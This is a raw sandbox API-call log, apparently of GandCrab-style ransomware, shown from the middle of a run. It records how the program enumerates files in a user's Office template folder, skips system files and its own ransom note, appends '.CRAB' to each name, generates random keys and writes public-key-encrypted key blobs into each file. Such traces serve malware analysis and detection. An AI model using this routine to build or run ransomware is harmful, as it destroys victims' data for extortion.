	[0118.056] VirtualAlloc (lpAddress=0x0, dwSize=0x800, flAllocationType=0x3000, flProtect=0x4) returned 0x2750000
	[0118.056] CryptAcquireContextW (in: phProv=0x3147d88, szContainer=0x0, szProvider="Microsoft Enhanced Cryptographic Provider v1.0", dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x3147d88*=0xd6e408) returned 1
	[0118.057] CryptImportKey (in: hProv=0xd6e408, pbData=0xa0000, dwDataLen=0x114, hPubKey=0x0, dwFlags=0x0, phKey=0x3147d84 | out: phKey=0x3147d84*=0xded9a8) returned 1
	[0118.057] CryptGetKeyParam (in: hKey=0xded9a8, dwParam=0x8, pbData=0x3147d74, pdwDataLen=0x3147d7c, dwFlags=0x0 | out: pbData=0x3147d74*=0x800, pdwDataLen=0x3147d7c*=0x4) returned 1
	[0118.057] CryptEncrypt (in: hKey=0xded9a8, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x2740000*, pdwDataLen=0x3147ee4*=0xc8, dwBufLen=0x800 | out: pbData=0x2740000*, pdwDataLen=0x3147ee4*=0x100) returned 1
	[0118.058] GetLastError () returned 0x0
	[0118.058] CryptReleaseContext (hProv=0xd6e408, dwFlags=0x0) returned 1
	[0118.058] CryptAcquireContextW (in: phProv=0x3147d88, szContainer=0x0, szProvider="Microsoft Enhanced Cryptographic Provider v1.0", dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x3147d88*=0xd6e408) returned 1
	[0118.058] CryptImportKey (in: hProv=0xd6e408, pbData=0xa0000, dwDataLen=0x114, hPubKey=0x0, dwFlags=0x0, phKey=0x3147d84 | out: phKey=0x3147d84*=0xdee0a8) returned 1
	[0118.059] CryptGetKeyParam (in: hKey=0xdee0a8, dwParam=0x8, pbData=0x3147d74, pdwDataLen=0x3147d7c, dwFlags=0x0 | out: pbData=0x3147d74*=0x800, pdwDataLen=0x3147d7c*=0x4) returned 1
	[0118.059] CryptEncrypt (in: hKey=0xdee0a8, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x2750000*, pdwDataLen=0x3147ee8*=0xc8, dwBufLen=0x800 | out: pbData=0x2750000*, pdwDataLen=0x3147ee8*=0x100) returned 1
	[0118.059] GetLastError () returned 0x0
	[0118.059] CryptReleaseContext (hProv=0xd6e408, dwFlags=0x0) returned 1
	[0118.059] CreateFileW (lpFileName="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Templates\\LiveContent\\16\\Managed\\SmartArt Graphics\\1033\\TM03328905[[fn=Chevron Accent]].glox.CRAB" (normalized: "c:\\users\\ciihmnxmn6ps\\appdata\\roaming\\microsoft\\templates\\livecontent\\16\\managed\\smartart graphics\\1033\\tm03328905[[fn=chevron accent]].glox.crab"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x3fc
	[0118.060] VirtualAlloc (lpAddress=0x0, dwSize=0x8, flAllocationType=0x3000, flProtect=0x4) returned 0x2fc0000
	[0118.060] VirtualAlloc (lpAddress=0x0, dwSize=0x100001, flAllocationType=0x3000, flProtect=0x4) returned 0x3150000
	[0118.060] ReadFile (in: hFile=0x3fc, lpBuffer=0x3150000, nNumberOfBytesToRead=0x100000, lpNumberOfBytesRead=0x3147f2c, lpOverlapped=0x0 | out: lpBuffer=0x3150000*, lpNumberOfBytesRead=0x3147f2c*=0x1093, lpOverlapped=0x0) returned 1
	[0118.073] VirtualAlloc (lpAddress=0x0, dwSize=0x10a0, flAllocationType=0x3000, flProtect=0x4) returned 0x3010000
	[0118.074] VirtualAlloc (lpAddress=0x0, dwSize=0x10a0, flAllocationType=0x3000, flProtect=0x4) returned 0x3020000
	[0118.074] VirtualFree (lpAddress=0x3010000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0118.074] SetFilePointerEx (in: hFile=0x3fc, liDistanceToMove=0xffffef6d, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1
	[0118.074] WriteFile (in: hFile=0x3fc, lpBuffer=0x3020000*, nNumberOfBytesToWrite=0x10a0, lpNumberOfBytesWritten=0x3147f1c, lpOverlapped=0x0 | out: lpBuffer=0x3020000*, lpNumberOfBytesWritten=0x3147f1c*=0x10a0, lpOverlapped=0x0) returned 1
	[0118.075] VirtualFree (lpAddress=0x3020000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0118.075] VirtualFree (lpAddress=0x3150000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0118.079] WriteFile (in: hFile=0x3fc, lpBuffer=0x2740000*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x3147f1c, lpOverlapped=0x0 | out: lpBuffer=0x2740000*, lpNumberOfBytesWritten=0x3147f1c*=0x100, lpOverlapped=0x0) returned 1
	[0118.079] WriteFile (in: hFile=0x3fc, lpBuffer=0x2750000*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x3147f1c, lpOverlapped=0x0 | out: lpBuffer=0x2750000*, lpNumberOfBytesWritten=0x3147f1c*=0x100, lpOverlapped=0x0) returned 1
	[0118.079] WriteFile (in: hFile=0x3fc, lpBuffer=0x2fc0000*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x3147f1c, lpOverlapped=0x0 | out: lpBuffer=0x2fc0000*, lpNumberOfBytesWritten=0x3147f1c*=0x8, lpOverlapped=0x0) returned 1
	[0118.079] CloseHandle (hObject=0x3fc) returned 1
	[0118.080] VirtualFree (lpAddress=0x2fc0000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0118.080] VirtualFree (lpAddress=0x2740000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0118.081] VirtualFree (lpAddress=0x2750000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0118.081] VirtualFree (lpAddress=0x180000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0118.082] VirtualFree (lpAddress=0x170000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0118.082] VirtualFree (lpAddress=0x140000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0118.082] FindNextFileW (in: hFindFile=0xda3f20, lpFindFileData=0x3148778 | out: lpFindFileData=0x3148778) returned 1
	[0118.082] lstrcmpW (lpString1="TM03328908[[fn=Circle Process]].glox", lpString2=".") returned 1
	[0118.082] lstrcmpW (lpString1="TM03328908[[fn=Circle Process]].glox", lpString2="..") returned 1
	[0118.082] lstrcatW (in: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Templates\\LiveContent\\16\\Managed\\SmartArt Graphics\\1033\\", lpString2="TM03328908[[fn=Circle Process]].glox" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Templates\\LiveContent\\16\\Managed\\SmartArt Graphics\\1033\\TM03328908[[fn=Circle Process]].glox") returned="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Templates\\LiveContent\\16\\Managed\\SmartArt Graphics\\1033\\TM03328908[[fn=Circle Process]].glox"
	[0118.082] VirtualAlloc (lpAddress=0x0, dwSize=0x400, flAllocationType=0x3000, flProtect=0x40) returned 0x140000
	[0118.083] wsprintfW (in: param_1=0x140000, param_2="%s" | out: param_1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Templates\\LiveContent\\16\\Managed\\SmartArt Graphics\\1033\\TM03328908[[fn=Circle Process]].glox") returned 140
	[0118.083] lstrlenW (lpString="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Templates\\LiveContent\\16\\Managed\\SmartArt Graphics\\1033\\TM03328908[[fn=Circle Process]].glox") returned 140
	[0118.083] lstrlenW (lpString=".glox") returned 5
	[0118.083] VirtualAlloc (lpAddress=0x0, dwSize=0xe, flAllocationType=0x3000, flProtect=0x4) returned 0x170000
	[0118.083] wsprintfW (in: param_1=0x170000, param_2="%s " | out: param_1=".glox ") returned 6
	[0118.083] VirtualFree (lpAddress=0x170000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0118.083] lstrlenW (lpString="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Templates\\LiveContent\\16\\Managed\\SmartArt Graphics\\1033\\TM03328908[[fn=Circle Process]].glox") returned 140
	[0118.083] lstrlenW (lpString="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Templates\\LiveContent\\16\\Managed\\SmartArt Graphics\\1033\\TM03328908[[fn=Circle Process]].glox") returned 140
	[0118.083] lstrcmpiW (lpString1="TM03328908[[fn=Circle Process]].glox", lpString2="desktop.ini") returned 1
	[0118.083] lstrcmpiW (lpString1="TM03328908[[fn=Circle Process]].glox", lpString2="autorun.inf") returned 1
	[0118.083] lstrcmpiW (lpString1="TM03328908[[fn=Circle Process]].glox", lpString2="ntuser.dat") returned 1
	[0118.084] lstrcmpiW (lpString1="TM03328908[[fn=Circle Process]].glox", lpString2="iconcache.db") returned 1
	[0118.084] lstrcmpiW (lpString1="TM03328908[[fn=Circle Process]].glox", lpString2="bootsect.bak") returned 1
	[0118.084] lstrcmpiW (lpString1="TM03328908[[fn=Circle Process]].glox", lpString2="boot.ini") returned 1
	[0118.084] lstrcmpiW (lpString1="TM03328908[[fn=Circle Process]].glox", lpString2="ntuser.dat.log") returned 1
	[0118.084] lstrcmpiW (lpString1="TM03328908[[fn=Circle Process]].glox", lpString2="thumbs.db") returned 1
	[0118.084] lstrcmpiW (lpString1="TM03328908[[fn=Circle Process]].glox", lpString2="CRAB-DECRYPT.txt") returned 1
	[0118.084] VirtualAlloc (lpAddress=0x0, dwSize=0x201, flAllocationType=0x3000, flProtect=0x4) returned 0x170000
	[0118.084] wsprintfW (in: param_1=0x170000, param_2="%s.CRAB" | out: param_1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Templates\\LiveContent\\16\\Managed\\SmartArt Graphics\\1033\\TM03328908[[fn=Circle Process]].glox.CRAB") returned 145
	[0118.084] GetFileAttributesW (lpFileName="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Templates\\LiveContent\\16\\Managed\\SmartArt Graphics\\1033\\TM03328908[[fn=Circle Process]].glox" (normalized: "c:\\users\\ciihmnxmn6ps\\appdata\\roaming\\microsoft\\templates\\livecontent\\16\\managed\\smartart graphics\\1033\\tm03328908[[fn=circle process]].glox")) returned 0x20
	[0118.085] SetFileAttributesW (lpFileName="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Templates\\LiveContent\\16\\Managed\\SmartArt Graphics\\1033\\TM03328908[[fn=Circle Process]].glox", dwFileAttributes=0x20) returned 1
	[0118.086] MoveFileW (lpExistingFileName="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Templates\\LiveContent\\16\\Managed\\SmartArt Graphics\\1033\\TM03328908[[fn=Circle Process]].glox" (normalized: "c:\\users\\ciihmnxmn6ps\\appdata\\roaming\\microsoft\\templates\\livecontent\\16\\managed\\smartart graphics\\1033\\tm03328908[[fn=circle process]].glox"), lpNewFileName="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Templates\\LiveContent\\16\\Managed\\SmartArt Graphics\\1033\\TM03328908[[fn=Circle Process]].glox.CRAB" (normalized: "c:\\users\\ciihmnxmn6ps\\appdata\\roaming\\microsoft\\templates\\livecontent\\16\\managed\\smartart graphics\\1033\\tm03328908[[fn=circle process]].glox.crab")) returned 1
	[0118.087] VirtualAlloc (lpAddress=0x0, dwSize=0x401, flAllocationType=0x3000, flProtect=0x40) returned 0x180000
	[0118.087] lstrcpyW (in: lpString1=0x180000, lpString2="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Templates\\LiveContent\\16\\Managed\\SmartArt Graphics\\1033\\TM03328908[[fn=Circle Process]].glox.CRAB" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Templates\\LiveContent\\16\\Managed\\SmartArt Graphics\\1033\\TM03328908[[fn=Circle Process]].glox.CRAB") returned="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Templates\\LiveContent\\16\\Managed\\SmartArt Graphics\\1033\\TM03328908[[fn=Circle Process]].glox.CRAB"
	[0118.087] lstrcatW (in: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Templates\\LiveContent\\16\\Managed\\SmartArt Graphics\\1033\\TM03328908[[fn=Circle Process]].glox.CRAB", lpString2=".CRAB" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Templates\\LiveContent\\16\\Managed\\SmartArt Graphics\\1033\\TM03328908[[fn=Circle Process]].glox.CRAB.CRAB") returned="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Templates\\LiveContent\\16\\Managed\\SmartArt Graphics\\1033\\TM03328908[[fn=Circle Process]].glox.CRAB.CRAB"
	[0118.087] CryptAcquireContextW (in: phProv=0x3147d98, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x3147d98*=0xd6e7c0) returned 1
	[0118.088] VirtualAlloc (lpAddress=0x0, dwSize=0x11, flAllocationType=0x3000, flProtect=0x40) returned 0x2740000
	[0118.088] GetModuleHandleA (lpModuleName="Advapi32.dll") returned 0x77990000
	[0118.088] GetProcAddress (hModule=0x77990000, lpProcName="CryptGenRandom") returned 0x779b0df0
	[0118.088] CryptGenRandom (in: hProv=0xd6e7c0, dwLen=0x10, pbBuffer=0x3147ed4 | out: pbBuffer=0x3147ed4) returned 1
	[0118.088] CryptReleaseContext (hProv=0xd6e7c0, dwFlags=0x0) returned 1
	[0118.088] VirtualFree (lpAddress=0x2740000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0118.089] CryptAcquireContextW (in: phProv=0x3147d98, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x3147d98*=0xd6e6b0) returned 1
	[0118.089] VirtualAlloc (lpAddress=0x0, dwSize=0x21, flAllocationType=0x3000, flProtect=0x40) returned 0x2740000
	[0118.089] GetModuleHandleA (lpModuleName="Advapi32.dll") returned 0x77990000
	[0118.090] GetProcAddress (hModule=0x77990000, lpProcName="CryptGenRandom") returned 0x779b0df0
	[0118.090] CryptGenRandom (in: hProv=0xd6e6b0, dwLen=0x20, pbBuffer=0x3147eb0 | out: pbBuffer=0x3147eb0) returned 1
	[0118.090] CryptReleaseContext (hProv=0xd6e6b0, dwFlags=0x0) returned 1
	[0118.090] VirtualFree (lpAddress=0x2740000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0118.091] VirtualAlloc (lpAddress=0x0, dwSize=0x800, flAllocationType=0x3000, flProtect=0x4) returned 0x2740000
	[0118.091] VirtualAlloc (lpAddress=0x0, dwSize=0x800, flAllocationType=0x3000, flProtect=0x4) returned 0x2750000
	[0118.091] CryptAcquireContextW (in: phProv=0x3147d88, szContainer=0x0, szProvider="Microsoft Enhanced Cryptographic Provider v1.0", dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x3147d88*=0xd6ed98) returned 1
	[0118.092] CryptImportKey (in: hProv=0xd6ed98, pbData=0xa0000, dwDataLen=0x114, hPubKey=0x0, dwFlags=0x0, phKey=0x3147d84 | out: phKey=0x3147d84*=0xdeda28) returned 1
	[0118.092] CryptGetKeyParam (in: hKey=0xdeda28, dwParam=0x8, pbData=0x3147d74, pdwDataLen=0x3147d7c, dwFlags=0x0 | out: pbData=0x3147d74*=0x800, pdwDataLen=0x3147d7c*=0x4) returned 1
	[0118.092] CryptEncrypt (in: hKey=0xdeda28, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x2740000*, pdwDataLen=0x3147ee4*=0xc8, dwBufLen=0x800 | out: pbData=0x2740000*, pdwDataLen=0x3147ee4*=0x100) returned 1
	[0118.092] GetLastError () returned 0x0
	[0118.092] CryptReleaseContext (hProv=0xd6ed98, dwFlags=0x0) returned 1
	[0118.092] CryptAcquireContextW (in: phProv=0x3147d88, szContainer=0x0, szProvider="Microsoft Enhanced Cryptographic Provider v1.0", dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x3147d88*=0xd6ed98) returned 1
	[0118.093] CryptImportKey (in: hProv=0xd6ed98, pbData=0xa0000, dwDataLen=0x114, hPubKey=0x0, dwFlags=0x0, phKey=0x3147d84 | out: phKey=0x3147d84*=0xdedce8) returned 1
	[0118.093] CryptGetKeyParam (in: hKey=0xdedce8, dwParam=0x8, pbData=0x3147d74, pdwDataLen=0x3147d7c, dwFlags=0x0 | out: pbData=0x3147d74*=0x800, pdwDataLen=0x3147d7c*=0x4) returned 1
	[0118.093] CryptEncrypt (in: hKey=0xdedce8, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x2750000*, pdwDataLen=0x3147ee8*=0xc8, dwBufLen=0x800 | out: pbData=0x2750000*, pdwDataLen=0x3147ee8*=0x100) returned 1
	[0118.093] GetLastError () returned 0x0
	[0118.093] CryptReleaseContext (hProv=0xd6ed98, dwFlags=0x0) returned 1
	[0118.093] CreateFileW (lpFileName="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Templates\\LiveContent\\16\\Managed\\SmartArt Graphics\\1033\\TM03328908[[fn=Circle Process]].glox.CRAB" (normalized: "c:\\users\\ciihmnxmn6ps\\appdata\\roaming\\microsoft\\templates\\livecontent\\16\\managed\\smartart graphics\\1033\\tm03328908[[fn=circle process]].glox.crab"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x3fc
	[0118.094] VirtualAlloc (lpAddress=0x0, dwSize=0x8, flAllocationType=0x3000, flProtect=0x4) returned 0x2fc0000
	[0118.094] VirtualAlloc (lpAddress=0x0, dwSize=0x100001, flAllocationType=0x3000, flProtect=0x4) returned 0x3150000
	[0118.095] ReadFile (in: hFile=0x3fc, lpBuffer=0x3150000, nNumberOfBytesToRead=0x100000, lpNumberOfBytesRead=0x3147f2c, lpOverlapped=0x0 | out: lpBuffer=0x3150000*, lpNumberOfBytesRead=0x3147f2c*=0x41a6, lpOverlapped=0x0) returned 1
	[0118.111] VirtualAlloc (lpAddress=0x0, dwSize=0x41b0, flAllocationType=0x3000, flProtect=0x4) returned 0x3010000
	[0118.111] VirtualAlloc (lpAddress=0x0, dwSize=0x41b0, flAllocationType=0x3000, flProtect=0x4) returned 0x3020000
	[0118.112] VirtualFree (lpAddress=0x3010000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0118.113] SetFilePointerEx (in: hFile=0x3fc, liDistanceToMove=0xffffbe5a, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1
	[0118.113] WriteFile (in: hFile=0x3fc, lpBuffer=0x3020000*, nNumberOfBytesToWrite=0x41b0, lpNumberOfBytesWritten=0x3147f1c, lpOverlapped=0x0 | out: lpBuffer=0x3020000*, lpNumberOfBytesWritten=0x3147f1c*=0x41b0, lpOverlapped=0x0) returned 1
	[0118.113] VirtualFree (lpAddress=0x3020000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0118.113] VirtualFree (lpAddress=0x3150000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0118.117] WriteFile (in: hFile=0x3fc, lpBuffer=0x2740000*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x3147f1c, lpOverlapped=0x0 | out: lpBuffer=0x2740000*, lpNumberOfBytesWritten=0x3147f1c*=0x100, lpOverlapped=0x0) returned 1
	[0118.117] WriteFile (in: hFile=0x3fc, lpBuffer=0x2750000*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x3147f1c, lpOverlapped=0x0 | out: lpBuffer=0x2750000*, lpNumberOfBytesWritten=0x3147f1c*=0x100, lpOverlapped=0x0) returned 1
	[0118.117] WriteFile (in: hFile=0x3fc, lpBuffer=0x2fc0000*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x3147f1c, lpOverlapped=0x0 | out: lpBuffer=0x2fc0000*, lpNumberOfBytesWritten=0x3147f1c*=0x8, lpOverlapped=0x0) returned 1
	[0118.117] CloseHandle (hObject=0x3fc) returned 1
	[0118.118] VirtualFree (lpAddress=0x2fc0000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0118.119] VirtualFree (lpAddress=0x2740000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0118.119] VirtualFree (lpAddress=0x2750000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0118.119] VirtualFree (lpAddress=0x180000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0118.119] VirtualFree (lpAddress=0x170000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0118.120] VirtualFree (lpAddress=0x140000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0118.120] FindNextFileW (in: hFindFile=0xda3f20, lpFindFileData=0x3148778 | out: lpFindFileData=0x3148778) returned 1
	[0118.120] lstrcmpW (lpString1="TM03328916[[fn=Converging Text]].glox", lpString2=".") returned 1
	[0118.120] lstrcmpW (lpString1="TM03328916[[fn=Converging Text]].glox", lpString2="..") returned 1
	[0118.120] lstrcatW (in: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Templates\\LiveContent\\16\\Managed\\SmartArt Graphics\\1033\\", lpString2="TM03328916[[fn=Converging Text]].glox" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Templates\\LiveContent\\16\\Managed\\SmartArt Graphics\\1033\\TM03328916[[fn=Converging Text]].glox") returned="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Templates\\LiveContent\\16\\Managed\\SmartArt Graphics\\1033\\TM03328916[[fn=Converging Text]].glox"
	[0118.120] VirtualAlloc (lpAddress=0x0, dwSize=0x400, flAllocationType=0x3000, flProtect=0x40) returned 0x140000
	[0118.120] wsprintfW (in: param_1=0x140000, param_2="%s" | out: param_1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Templates\\LiveContent\\16\\Managed\\SmartArt Graphics\\1033\\TM03328916[[fn=Converging Text]].glox") returned 141
	[0118.120] lstrlenW (lpString="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Templates\\LiveContent\\16\\Managed\\SmartArt Graphics\\1033\\TM03328916[[fn=Converging Text]].glox") returned 141
	[0118.120] lstrlenW (lpString=".glox") returned 5
	[0118.120] VirtualAlloc (lpAddress=0x0, dwSize=0xe, flAllocationType=0x3000, flProtect=0x4) returned 0x170000
	[0118.121] wsprintfW (in: param_1=0x170000, param_2="%s " | out: param_1=".glox ") returned 6
	[0118.121] VirtualFree (lpAddress=0x170000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0118.121] lstrlenW (lpString="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Templates\\LiveContent\\16\\Managed\\SmartArt Graphics\\1033\\TM03328916[[fn=Converging Text]].glox") returned 141
	[0118.121] lstrlenW (lpString="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Templates\\LiveContent\\16\\Managed\\SmartArt Graphics\\1033\\TM03328916[[fn=Converging Text]].glox") returned 141
	[0118.121] lstrcmpiW (lpString1="TM03328916[[fn=Converging Text]].glox", lpString2="desktop.ini") returned 1
	[0118.121] lstrcmpiW (lpString1="TM03328916[[fn=Converging Text]].glox", lpString2="autorun.inf") returned 1
	[0118.121] lstrcmpiW (lpString1="TM03328916[[fn=Converging Text]].glox", lpString2="ntuser.dat") returned 1
	[0118.121] lstrcmpiW (lpString1="TM03328916[[fn=Converging Text]].glox", lpString2="iconcache.db") returned 1
	[0118.121] lstrcmpiW (lpString1="TM03328916[[fn=Converging Text]].glox", lpString2="bootsect.bak") returned 1
	[0118.121] lstrcmpiW (lpString1="TM03328916[[fn=Converging Text]].glox", lpString2="boot.ini") returned 1
	[0118.121] lstrcmpiW (lpString1="TM03328916[[fn=Converging Text]].glox", lpString2="ntuser.dat.log") returned 1
	[0118.121] lstrcmpiW (lpString1="TM03328916[[fn=Converging Text]].glox", lpString2="thumbs.db") returned 1
	[0118.121] lstrcmpiW (lpString1="TM03328916[[fn=Converging Text]].glox", lpString2="CRAB-DECRYPT.txt") returned 1
	[0118.121] VirtualAlloc (lpAddress=0x0, dwSize=0x201, flAllocationType=0x3000, flProtect=0x4) returned 0x170000
	[0118.122] wsprintfW (in: param_1=0x170000, param_2="%s.CRAB" | out: param_1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Templates\\LiveContent\\16\\Managed\\SmartArt Graphics\\1033\\TM03328916[[fn=Converging Text]].glox.CRAB") returned 146
	[0118.122] GetFileAttributesW (lpFileName="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Templates\\LiveContent\\16\\Managed\\SmartArt Graphics\\1033\\TM03328916[[fn=Converging Text]].glox" (normalized: "c:\\users\\ciihmnxmn6ps\\appdata\\roaming\\microsoft\\templates\\livecontent\\16\\managed\\smartart graphics\\1033\\tm03328916[[fn=converging text]].glox")) returned 0x20
	[0118.123] SetFileAttributesW (lpFileName="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Templates\\LiveContent\\16\\Managed\\SmartArt Graphics\\1033\\TM03328916[[fn=Converging Text]].glox", dwFileAttributes=0x20) returned 1
	[0118.123] MoveFileW (lpExistingFileName="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Templates\\LiveContent\\16\\Managed\\SmartArt Graphics\\1033\\TM03328916[[fn=Converging Text]].glox" (normalized: "c:\\users\\ciihmnxmn6ps\\appdata\\roaming\\microsoft\\templates\\livecontent\\16\\managed\\smartart graphics\\1033\\tm03328916[[fn=converging text]].glox"), lpNewFileName="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Templates\\LiveContent\\16\\Managed\\SmartArt Graphics\\1033\\TM03328916[[fn=Converging Text]].glox.CRAB" (normalized: "c:\\users\\ciihmnxmn6ps\\appdata\\roaming\\microsoft\\templates\\livecontent\\16\\managed\\smartart graphics\\1033\\tm03328916[[fn=converging text]].glox.crab")) returned 1
	[0118.124] VirtualAlloc (lpAddress=0x0, dwSize=0x401, flAllocationType=0x3000, flProtect=0x40) returned 0x180000
	[0118.124] lstrcpyW (in: lpString1=0x180000, lpString2="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Templates\\LiveContent\\16\\Managed\\SmartArt Graphics\\1033\\TM03328916[[fn=Converging Text]].glox.CRAB" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Templates\\LiveContent\\16\\Managed\\SmartArt Graphics\\1033\\TM03328916[[fn=Converging Text]].glox.CRAB") returned="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Templates\\LiveContent\\16\\Managed\\SmartArt Graphics\\1033\\TM03328916[[fn=Converging Text]].glox.CRAB"
	[0118.125] lstrcatW (in: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Templates\\LiveContent\\16\\Managed\\SmartArt Graphics\\1033\\TM03328916[[fn=Converging Text]].glox.CRAB", lpString2=".CRAB" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Templates\\LiveContent\\16\\Managed\\SmartArt Graphics\\1033\\TM03328916[[fn=Converging Text]].glox.CRAB.CRAB") returned="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Templates\\LiveContent\\16\\Managed\\SmartArt Graphics\\1033\\TM03328916[[fn=Converging Text]].glox.CRAB.CRAB"
	[0118.125] CryptAcquireContextW (in: phProv=0x3147d98, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x3147d98*=0xd6e408) returned 1
	[0118.125] VirtualAlloc (lpAddress=0x0, dwSize=0x11, flAllocationType=0x3000, flProtect=0x40) returned 0x2740000
	[0118.125] GetModuleHandleA (lpModuleName="Advapi32.dll") returned 0x77990000
	[0118.126] GetProcAddress (hModule=0x77990000, lpProcName="CryptGenRandom") returned 0x779b0df0
	[0118.126] CryptGenRandom (in: hProv=0xd6e408, dwLen=0x10, pbBuffer=0x3147ed4 | out: pbBuffer=0x3147ed4) returned 1
	[0118.126] CryptReleaseContext (hProv=0xd6e408, dwFlags=0x0) returned 1
	[0118.126] VirtualFree (lpAddress=0x2740000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0118.126] CryptAcquireContextW (in: phProv=0x3147d98, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x3147d98*=0xd6e408) returned 1
	[0118.126] VirtualAlloc (lpAddress=0x0, dwSize=0x21, flAllocationType=0x3000, flProtect=0x40) returned 0x2740000
	[0118.127] GetModuleHandleA (lpModuleName="Advapi32.dll") returned 0x77990000
	[0118.127] GetProcAddress (hModule=0x77990000, lpProcName="CryptGenRandom") returned 0x779b0df0
	[0118.127] CryptGenRandom (in: hProv=0xd6e408, dwLen=0x20, pbBuffer=0x3147eb0 | out: pbBuffer=0x3147eb0) returned 1
